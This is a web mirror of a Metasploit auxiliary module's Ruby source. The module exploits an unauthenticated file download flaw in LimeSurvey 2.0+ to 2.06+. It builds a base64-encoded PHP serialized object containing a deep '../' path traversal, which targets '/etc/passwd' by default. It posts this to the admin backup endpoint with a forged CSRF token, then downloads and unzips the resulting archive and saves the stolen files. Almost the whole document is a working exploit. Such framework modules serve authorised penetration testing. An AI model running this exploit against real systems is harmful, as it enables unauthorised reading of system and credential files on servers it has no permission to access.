Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/limesurvey_file_download.rb
33893 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# for extracting files
7
require 'zip'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::Remote::HttpClient
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Limesurvey Unauthenticated File Download',
18
'Description' => %q{
19
This module exploits an unauthenticated file download vulnerability
20
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
21
as a ZIP and unzipped automatically, thus binary files can be downloaded.
22
},
23
'Author' => [
24
'Pichaya Morimoto', # Vulnerability Discovery
25
'Christian Mehlmauer' # Metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
['CVE', '2025-34120'],
30
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
31
['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
32
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
33
],
34
'DisclosureDate' => '2015-10-12',
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [IOC_IN_LOGS],
38
'Reliability' => []
39
}
40
)
41
)
42
43
register_options(
44
[
45
Opt::RPORT(80),
46
OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
47
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
48
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
49
]
50
)
51
end
52
53
def filepath
54
datastore['FILEPATH']
55
end
56
57
def traversal_depth
58
datastore['TRAVERSAL_DEPTH']
59
end
60
61
def payload
62
traversal = '/..' * traversal_depth
63
file = "#{traversal}#{filepath}"
64
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
65
Rex::Text.encode_base64(serialized)
66
end
67
68
def unzip_file(zipfile)
69
zip_data = Hash.new
70
begin
71
Zip::File.open_buffer(zipfile) do |filezip|
72
filezip.each do |entry|
73
zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
74
end
75
end
76
rescue Zip::Error => e
77
print_error("Error extracting ZIP: #{e}")
78
end
79
return zip_data
80
end
81
82
def run
83
csrf_token = Rex::Text.rand_text_alpha(10)
84
85
vars_post = {
86
'YII_CSRF_TOKEN' => csrf_token,
87
'destinationBuild' => Rex::Text.rand_text_alpha(5),
88
'datasupdateinfo' => payload
89
}
90
91
res = send_request_cgi({
92
'method' => 'POST',
93
'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
94
'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
95
'vars_post' => vars_post
96
})
97
98
if res && res.code == 200 && res.body && res.body.include?('Download this file')
99
match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
100
if match
101
local_path = match[1]
102
download_url = match[2]
103
print_status("File saved to #{local_path}")
104
print_status("Downloading backup from URL #{download_url}")
105
106
res = send_request_cgi({
107
'method' => 'GET',
108
'uri' => download_url
109
})
110
111
if res && res.code == 200
112
unzipped = unzip_file(res.body)
113
114
unzipped.each do |filename, content|
115
print_good("Filename: #{filename}")
116
print_good(content)
117
118
path = store_loot(
119
'limesurvey.http',
120
'application/octet-stream',
121
rhost,
122
content,
123
filename
124
)
125
print_good("File saved in: #{path}")
126
end
127
else
128
print_error('Failed to download file')
129
end
130
else
131
print_error('Failed to download file')
132
end
133
else
134
print_error('Failed to download file')
135
end
136
end
137
end
138
139